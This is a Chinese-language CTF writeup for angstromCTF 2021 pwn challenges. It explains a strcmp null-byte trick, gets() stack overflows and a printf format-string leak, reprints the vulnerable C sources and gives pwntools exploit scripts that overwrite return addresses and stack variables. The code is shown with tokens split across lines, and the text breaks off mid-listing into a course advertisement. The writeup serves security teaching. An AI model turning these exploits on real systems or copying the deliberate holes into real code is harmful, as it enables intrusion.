-
-
[原创]angstromCTF2021-pwn-前5题writeup
-
发表于: 2021-4-12 09:38 10787
-
My login is, potentially, and I don't say this lightly, if you know me you know that's the truth, it's truly, and no this isn't snake oil, this is, no joke, the most secure login service in the world (source).
Try to hack me at /problems/2021/secure_login
on the shell server.
Author: kmh
strcmp的源码如下:
strcmp返回值为0的情况有两种:1)src和dst一样;2)dst为NULL。而在这题里,我们猜不出来随机数password,因此只能找第2)种情况。/dev/urandom 生成随机字节序列,所以,它会生成范围为0-255的值。因此,第一个字符有1/256的可能为\x00,这是字符串的终止符,表明是空字符串,会让strcmp函数返回0。因此,只要不断循环,总会遇到password的首字节为\x00的情况。
同时,这题没有给host和port,但是给了交互的shell环境,所以就直接在shell环境里进行操作。结果如下:
只要等待循环结束,然后打印res就可以得到flag!
Finally, inner peace - Master Oogway
Source
Connect with nc shell.actf.co 21830
, or find it on the shell server at /problems/2021/tranquil
.
Author: JoshDaBosh
下面第25行存在栈溢出漏洞,开启了NX,所以只要把vuln的返回地址覆盖成win函数地址就能拿到flag了,都不需要反编译了。ret2text类型的题。
I made a program (source) to protect my flag. On the off chance someone does get in, I added some sanity checks to detect if something fishy is going on. See if you can hack me at /problems/2021/sanity_checks
on the shell server, or connect with nc shell.actf.co 21303
.
Author: kmh
第18行存在栈溢出漏洞,只需要password填充“password123”,然后覆盖5个int型变量为相应的值就可以拿到flag。
I made a program that holds a lot of secrets... maybe even a flag!
Source
Connect with nc shell.actf.co 21820
, or visit /problems/2021/stickystacks
on the shell server.
Author: JoshDaBosh
将flag读取到了结构体中,结构体在栈里,但是没有打印它。能让我们输入6个字节的数据,没有栈溢出漏洞,但是存在 printf(name)
这个格式化字符串漏洞。所以,可以利用这个漏洞将flag泄漏出来。
红色部分为flag。因为,在其中的前后部分明显可以看到 7b
({
) 7d
(}
) ,还有 0a
( \n
)。复制这一段,通过添加空格,全部替换等操作,写一个脚本,跑出flag。
看到一个writeup用 CyberChef 这个神器,才想起来有这个东西:(
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Reverse('Character')&input=MHgwYTdkMzMzOTM1NjYzMTYxCjB4MzQzODM2MzczNzY0NjE2NQoweDM0MzkzMjMxMzU2MjM5NjMKMHg2NTYyNWY2YjYzNjE3NDczCjB4NWY2NTY4NzQ1ZjZlNjk1ZgoweDZiNjM2MTYyNWY2ZDI3NjkKMHg1ZjczNjU3OTVmNmI2MzYxCjB4NmM2MjVmNmU2OTVmNmI2MwoweDYxNjI1ZjZkMjc2OTVmNmMKMHg2YzY1Nzc3YjY2NzQ2MzYxCgoK
I love how C++ initializes everything for you. It makes things so easy and fun!
Speaking of fun, play our fun new game RAIId Shadow Legends (source) at /problems/2021/raiid_shadow_legends
on the shell server, or connect with nc shell.actf.co 21300
.
Author: kmh
很明显地看到源码前面有 ifstream flag("flag.txt")
,那么就先看看有没有哪里打印flag:37行 ...<< flag.rdbuf() << endl;
,需要player.skill == 1337 并且 action == "2" 才能运行这一行代码打印flag,player是character结构体。
再来看程序主体功能:先调用terms_and_conditions函数打印条款,然后调用play函数进行play。
action可以通过输入使得它的值为2,但是player.skill 没有提供输入来改变它。首先想到的就是通过栈溢出来覆盖它的值,输入字符串的地方有三处:1)agreement让我们输入“yes”;2)输入signature;3)输入player.name。
这三个变量agreement、signature和player都是局部变量,且没有进行初始化,所以,他们都是在栈中的。
player.name是c++中的string类型变量,栈中存储的是输入的字符串的地址,是没法通过它来栈溢出的。下面通过gdb来调试分析,在play函数下断点,然后name输入“aaaa”,此时结果如下所示。验证了前面所说,是没法通过player.name来覆盖skill的。
往下走,看看player.skill在栈的哪个位置,和两外两个输入有没有关系。通过IDA分析,<< player.skill
在getline函数的后面第4个call,单步执行到这,如下所示。play.skill是第二个参数,会mov给rsi,而由下面的调试过程可知,是将rax的值给rsi,而rax值的来源是rbp-0x4c。计算rbp-0x4c得到0x7fffffffddb4,正是yes字符串所处的地址。因此,如果yes后面接1337,那么就能将play.skill的值变成1337!
而前面输入“yes”的时候是会进行判断的,需要输入“yes”才会退出这个循环,否则会让用户一直输入。那么就多输入1次来看看情况,先输入yesabbbb,然后输入yes。可以看到,结果是栈里相应地址里的内容后4位已经改成了bbbb。
#include <stdio.h>
char password[
128
];
void generate_password() {
FILE
*
file
=
fopen(
"/dev/urandom"
,
"r"
);
fgets(password,
128
,
file
);
fclose(
file
);
}
void main() {
puts(
"Welcome to my ultra secure login service!"
);
/
/
no way they can guess my password
if
it's random!
generate_password();
char
input
[
128
];
printf(
"Enter the password: "
);
fgets(
input
,
128
, stdin);
if
(strcmp(
input
, password)
=
=
0
) {
char flag[
128
];
FILE
*
file
=
fopen(
"flag.txt"
,
"r"
);
if
(!
file
) {
puts(
"Error: missing flag.txt."
);
exit(
1
);
}
fgets(flag,
128
,
file
);
puts(flag);
}
else
{
puts(
"Wrong!"
);
}
}
#include <stdio.h>
char password[
128
];
void generate_password() {
FILE
*
file
=
fopen(
"/dev/urandom"
,
"r"
);
fgets(password,
128
,
file
);
fclose(
file
);
}
void main() {
puts(
"Welcome to my ultra secure login service!"
);
/
/
no way they can guess my password
if
it's random!
generate_password();
char
input
[
128
];
printf(
"Enter the password: "
);
fgets(
input
,
128
, stdin);
if
(strcmp(
input
, password)
=
=
0
) {
char flag[
128
];
FILE
*
file
=
fopen(
"flag.txt"
,
"r"
);
if
(!
file
) {
puts(
"Error: missing flag.txt."
);
exit(
1
);
}
fgets(flag,
128
,
file
);
puts(flag);
}
else
{
puts(
"Wrong!"
);
}
}
int
strcmp ( const char
*
src, const char
*
dst )
{
int
ret
=
0
;
while
( !(ret
=
*
(unsigned char
*
)src
-
*
(unsigned char
*
)dst) &&
*
dst)
+
+
src,
+
+
dst;
if
( ret <
0
)
ret
=
-
1
;
else
if
( ret >
0
)
ret
=
1
;
return
( ret );
}
int
strcmp ( const char
*
src, const char
*
dst )
{
int
ret
=
0
;
while
( !(ret
=
*
(unsigned char
*
)src
-
*
(unsigned char
*
)dst) &&
*
dst)
+
+
src,
+
+
dst;
if
( ret <
0
)
ret
=
-
1
;
else
if
( ret >
0
)
ret
=
1
;
return
( ret );
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
win(){
char flag[
128
];
FILE
*
file
=
fopen(
"flag.txt"
,
"r"
);
if
(!
file
) {
printf(
"Missing flag.txt. Contact an admin if you see this on remote."
);
exit(
1
);
}
fgets(flag,
128
,
file
);
puts(flag);
}
int
vuln(){
char password[
64
];
puts(
"Enter the secret word: "
);
gets(&password);
/
/
栈溢出漏洞
if
(strcmp(password,
"password123"
)
=
=
0
){
puts(
"Logged in! The flag is somewhere else though..."
);
}
else
{
puts(
"Login failed!"
);
}
return
0
;
}
int
main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
/
/
not
so easy
for
you!
/
/
win();
return
0
;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
win(){
char flag[
128
];
FILE
*
file
=
fopen(
"flag.txt"
,
"r"
);
if
(!
file
) {
printf(
"Missing flag.txt. Contact an admin if you see this on remote."
);
exit(
1
);
}
fgets(flag,
128
,
file
);
puts(flag);
}
int
vuln(){
char password[
64
];
puts(
"Enter the secret word: "
);
gets(&password);
/
/
栈溢出漏洞
if
(strcmp(password,
"password123"
)
=
=
0
){
puts(
"Logged in! The flag is somewhere else though..."
);
}
else
{
puts(
"Login failed!"
);
}
return
0
;
}
int
main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
/
/
not
so easy
for
you!
/
/
win();
return
0
;
}
$ checksec
-
-
file
=
tranquil
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH
53
) Symbols No
0
3
tranquil
$ checksec
-
-
file
=
tranquil
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH
53
) Symbols No
0
3
tranquil
from
pwn
import
*
def
get_sh():
if
args[
'REMOTE'
]:
return
remote(sys.argv[
1
], sys.argv[
2
])
else
:
return
process(
"./tranquil"
)
p
=
get_sh()
p.recvuntil(
'Enter the secret word: \n'
)
p.sendline(
'a'
*
0x48
+
p64(
0x401196
))
p.interactive()
from
pwn
import
*
def
get_sh():
if
args[
'REMOTE'
]:
return
remote(sys.argv[
1
], sys.argv[
2
])
else
:
return
process(
"./tranquil"
)
p
=
get_sh()
p.recvuntil(
'Enter the secret word: \n'
)
p.sendline(
'a'
*
0x48
+
p64(
0x401196
))
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char password[
64
];
int
ways_to_leave_your_lover
=
0
;
int
what_i_cant_drive
=
0
;
int
when_im_walking_out_on_center_circle
=
0
;
int
which_highway_to_take_my_telephones_to
=
0
;
int
when_i_learned_the_truth
=
0
;
printf(
"Enter the secret word: "
);
gets(&password);
/
/
栈溢出漏洞
if
(strcmp(password,
"password123"
)
=
=
0
){
/
/
password
=
=
"password123"
puts(
"Logged in! Let's just do some quick checks to make sure everything's in order..."
);
if
(ways_to_leave_your_lover
=
=
50
) {
if
(what_i_cant_drive
=
=
55
) {
if
(when_im_walking_out_on_center_circle
=
=
245
) {
if
(which_highway_to_take_my_telephones_to
=
=
61
) {
if
(when_i_learned_the_truth
=
=
17
) {
/
/
覆盖这些变量
char flag[
128
];
FILE
*
f
=
fopen(
"flag.txt"
,
"r"
);
if
(!f) {
printf(
"Missing flag.txt. Contact an admin if you see this on remote."
);
exit(
1
);
}
fgets(flag,
128
, f);
printf(flag);
return
;
}
}
}
}
}
puts(
"Nope, something seems off."
);
}
else
{
puts(
"Login failed!"
);
}
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char password[
64
];
int
ways_to_leave_your_lover
=
0
;
int
what_i_cant_drive
=
0
;
int
when_im_walking_out_on_center_circle
=
0
;
int
which_highway_to_take_my_telephones_to
=
0
;
int
when_i_learned_the_truth
=
0
;
printf(
"Enter the secret word: "
);
gets(&password);
/
/
栈溢出漏洞
if
(strcmp(password,
"password123"
)
=
=
0
){
/
/
password
=
=
"password123"
puts(
"Logged in! Let's just do some quick checks to make sure everything's in order..."
);
if
(ways_to_leave_your_lover
=
=
50
) {
if
(what_i_cant_drive
=
=
55
) {
if
(when_im_walking_out_on_center_circle
=
=
245
) {
if
(which_highway_to_take_my_telephones_to
=
=
61
) {
if
(when_i_learned_the_truth
=
=
17
) {
/
/
覆盖这些变量
char flag[
128
];
FILE
*
f
=
fopen(
"flag.txt"
,
"r"
);
if
(!f) {
printf(
"Missing flag.txt. Contact an admin if you see this on remote."
);
exit(
1
);
}
fgets(flag,
128
, f);
printf(flag);
return
;
}
}
}
}
}
puts(
"Nope, something seems off."
);
}
else
{
puts(
"Login failed!"
);
}
}
from
pwn
import
*
context.log_level
=
'debug'
def
get_sh(other_libc
=
null):
if
args[
'REMOTE'
]:
return
remote(sys.argv[
1
], sys.argv[
2
])
else
:
return
process(
"./checks"
)
p
=
get_sh()
#gdb.attach(p)
p.recvuntil(
'Enter the secret word: '
)
p.sendline(
'password123'
.ljust(
0x60
-
0x14
,
'\x00'
)
+
p32(
17
)
+
p32(
61
)
+
p32(
245
)
+
p32(
55
)
+
p32(
50
))
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
def
get_sh(other_libc
=
null):
if
args[
'REMOTE'
]:
return
remote(sys.argv[
1
], sys.argv[
2
])
else
:
return
process(
"./checks"
)
p
=
get_sh()
#gdb.attach(p)
p.recvuntil(
'Enter the secret word: '
)
p.sendline(
'password123'
.ljust(
0x60
-
0x14
,
'\x00'
)
+
p32(
17
)
+
p32(
61
)
+
p32(
245
)
+
p32(
55
)
+
p32(
50
))
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct Secrets {
char secret1[
50
];
char password[
50
];
char birthday[
50
];
char ssn[
50
];
char flag[
128
];
} Secrets;
int
vuln(){
char name[
7
];
Secrets boshsecrets
=
{
.secret1
=
"CTFs are fun!"
,
.password
=
"password123"
,
.birthday
=
"1/1/1970"
,
.ssn
=
"123-456-7890"
,
};
FILE
*
f
=
fopen(
"flag.txt"
,
"r"
);
if
(!f) {
printf(
"Missing flag.txt. Contact an admin if you see this on remote."
);
exit(
1
);
}
fgets(&(boshsecrets.flag),
128
, f);
puts(
"Name: "
);
fgets(name,
6
, stdin);
printf(
"Welcome, "
);
printf(name);
printf(
"\n"
);
return
0
;
}
int
main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
return
0
;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct Secrets {
char secret1[
50
];
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)